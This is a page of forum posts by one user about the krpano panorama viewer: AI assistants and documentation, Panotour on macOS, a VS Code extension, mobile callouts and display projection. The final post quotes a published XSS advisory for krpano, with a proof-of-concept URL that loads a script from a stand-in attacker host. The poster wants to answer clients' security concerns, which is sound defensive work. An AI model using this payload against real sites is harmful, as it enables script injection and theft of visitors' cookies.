Posts by Super Awesome

    Thanks for that MCP server VRme!

    Claude Code seems to be making more intelligent checks in the documentation.

    For example here is some CC output.

    Based on krpano documentation research, the issue is likely related to event handler precedence and timing. Here's what Context7 reveals about krpano navigation behavior:

    etc...

    I haven't done extensive testing and it's not fixing the current bug I'm stuck on, but it looks like it is approaching the issues in a much more intelligent way and not just trying random common XML fixes.

    Thanks for the info!

    Hi Klaus,

    The current HTML documentation is formatted for human reading, which makes it very difficult for AI to parse correctly - it can't reliably extract which attributes belong to which elements or their valid values.

    It can handle simple questions, but when building actual tours, AI assumes krpano follows standard XML patterns. Since krpano has its own specific syntax rules, these wrong assumptions create code that doesn't work.

    Making the example XML files directly accessible would be a huge help! If they could be reached without the viewsource wrapper, AI could learn from real working code patterns.

    I hope this isn't too much work, but if we want AI tools to work well with krpano, we need to give them training material they can actually parse. Even just the examples being accessible would make a big difference.

    Thanks for considering this!

    I'm trying to use AI coding assistants (Claude, GPT, etc.) for krpano development, but the current documentation format makes it nearly impossible for AI to give accurate answers.

    The Problem:

    • The documentation at krpano.com/docu/xml/ is HTML meant for human reading
    • AI can't reliably extract syntax rules
    • Properties like debugmode and logkey have specific placement rules that aren't machine-parseable
    • No official JSON schema, XSD, or structured API definition exists

    What Happens:

    • AI guesses syntax based on "common XML patterns" instead of krpano's specific rules
    • Simple things become trial-and-error as ai guesses XML patterns instead of using krpano rules
    • AI generates debugmode enabled="true" when it should be debugmode="true" for example

    What Would Help:

    1. Official JSON Schema with:
      • Every element and where it can be placed
      • Every attribute and which elements accept it
      • Type definitions, default values, valid ranges
      • Required vs optional attributes
    2. Structured API Definition like:

    Question for the Community:

    • Has anyone created a machine-readable version of the krpano documentation?
    • Would Klaus consider providing an official schema/API definition?
    • Are there existing tools that parse krpano XML properly?

    This would benefit everyone using modern development tools, not just AI users.

    Thanks for any help!

    I have been able to install and run Panotour on my Macbook Air M2 on Sonoma 13.5 by opening terminal and running this

    sudo arch -x86_64 /Applications/Panotour\ Pro\ 2.5.app/Contents/MacOS/PanotourPro

    However, I can't get the Krpano update to install so I'm stuck with 1.19.

    I also need to install all the plugins directly into the app. It does not see the user folder.

    I'd really appreciate some help if anyone knows how to get the app to see the user folder for plugins and the krpano update!

    Thanks!

    I have been able to install and run Panotour on my Macbook Air M2 on Sonoma 13.5 by opening terminal and running this

    sudo arch -x86_64 /Applications/Panotour\ Pro\ 2.5.app/Contents/MacOS/PanotourPro

    However, the Krpano "install the panotour pro update" does not work for the application. I'm trying to use 1.20.11.

    I think the problem lies in Panotour's inability to see the user documents folder where the update is installed.

    When I click "open user directory" it just opens the last folder opened in finder. I had to manually install all plugins inside the app folder itself. I have given it full disk access as well. If I could manually update the Krpano files inside the app that would solve the problem, but I can't find them anywhere.

    Question: is it possible to install the Krpano update manually inside the app since the application can't seem to see the user files?

    I'd really appreciate help with this!!!

    I've been trying to get this working with vscode for an embarrassingly long time.

    Simple instructions:

    Installation

    1. Navigate to the VS Code extensions folder.

    Windows: %USERPROFILE%.vscode\extensions

    1. Clone this project

    git clone https://github.com/apushkarev/krpano-for-vscode.git

    This is what I have.

    PS C:\Users\myaccount\.vscode\extensions> git clone https://github.com/apushkarev/krpano-for-vscode.git
    Cloning into 'krpano-for-vscode'...
    remote: Enumerating objects: 20, done.
    remote: Counting objects: 100% (20/20), done.
    remote: Compressing objects: 100% (16/16), done.
    Receiving objects: 75% (15/20)sed 20 (delta 1), pack-reused 0
    Receiving objects: 100% (20/20), 355.88 KiB | 27.38 MiB/s, done.
    Resolving deltas: 100% (1/1), done.
    PS C:\Users\myaccount\.vscode\extensions>

    It does not show up in extensions. I've been trying to sort this out with copilot, Gemini and ChatGPT for hours and hours.

    I'm giving up and asking for help here. Is there something I am missing to install this for vscode?

    Thanks for any help!!!

    I own both the panotour version and the krpano version and the panotour code has extra items that control mobile behaviour.

    I am working with the Krpano version and the desktop version looks great, but of course it is almost unusable on mobile.

    One of the features that would be great is callout_type.mobile="onuserclick" but this code is not working with the Krpano version.

    Are there any specific mobile controls for the Krpano version? There are numerous items that would be helpful in the Panotour code that I do not see listed in the Krpano version. Mobile controls are essential so I would like to know if they can be used in this current Krpano project now that Panotour has been murdered.

    My mobile callouts are totally unusable right now so I need to find a solution for this with specific mobile behavior controls.

    Below is some of the Panotour code from the skin.xml

    I have a client that is asking me if it is possible to display a virtual tour in a showroom display. The current setup is 3 x screens which surround the viewer on 3 sides.

    The display resolution is 5400 px by 1600 px.

    By nature it seems 360s have overly stretched edges and this seems like it would be very pronounced on a 3 monitor display like this. I have a 3 monitor setup on my desk and the side monitors are very stretched unless significantly zoomed in. Zooming in farther wouldn't be a solution for this. I'm hoping there is a way to alter the projection to remove or reduce the stretching on the sides.

    Is there a way to alter the projection of Krpano so it would not warp the edges so much for this application?

    Thanks for any help!

    Hi, excellent plugin!

    Is there any way to have more than one in a scene?

    <lensflare_settings ath="-44.902" atv="-75.750" sun="0.5" glare="0.2" r_ring="0.25" exposure="true" exposure_bias="-0.5" />
    <lensflare_settings ath="46.901" atv="-74.894" sun="0.5" glare="0.2" r_ring="0.25" exposure="true" exposure_bias="-0.5"/>

    Only one of them seems to be showing up.

    Thanks for any help!

    Hi there,

    I'm dealing with several large corporate clients who are rather obsessive about security and penetration testing. They are apprehensive about creating tours because of potential threats and vulnerabilities which could be created by adding a tour to their server and website.

    I came across this https://seclists.org/fulldisclosure/2020/Oct/7 which details an exploit titled: XSS in krpano Panorama Viewer
    Can anyone provide any more information about this and how I might deal with this if it comes up when dealing with Krpano security issues? I need to have an educated response if I am asked about it so I would really appreciate some info.
    Thank you,

    Details below:

    *XSS in **krpano Panorama Viewer *
    CVSS Severity: *Medium*
    CVSS Score: *6.1*
    CVSS Vector:
    CVSS:3.0/AV:N/AC:L/PRCVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N:N/UI:R/S:C/C:L/I:L/A:N
    <https://www.first.org/cvss/calculato…S:C/C:L/I:L/A:N>

    *Description*
    krpano Panorama Viewer <=1.20.8 is vulnerable to a Reflected Cross-Site
    Scripting (XSS) vulnerability caused by improper validation of user
    supplied input when loading remote js and XML files in the default
    installation (krpano.html).

    *Impact*
    A remote attacker could exploit this vulnerability using a specially
    crafted URL to execute a script in a victim's Web browser within the
    security context of the hosting Web site, once the URL is clicked or
    visited. An attacker could use this vulnerability to steal the victim's
    cookie-based authentication credentials, force malware execution, user
    redirection and others.

    *Steps to Reproduce*
    Exploit example, from documentation tutorials:
    http://VICTIM_SITE/krpano.html?html5=only&preview.type=grid()&plugin[test].url=[align=center&plugin[test].onclick=dosomething]https://ATTACKER_SITE/labs/krpano/krpano.js&plugin[test].align=center&plugin[test].onclick=dosomething[/align](hello,plugin)&onstart=showlog();

    *Fix*
    Block remote load of js and XML files. Contact the vendor.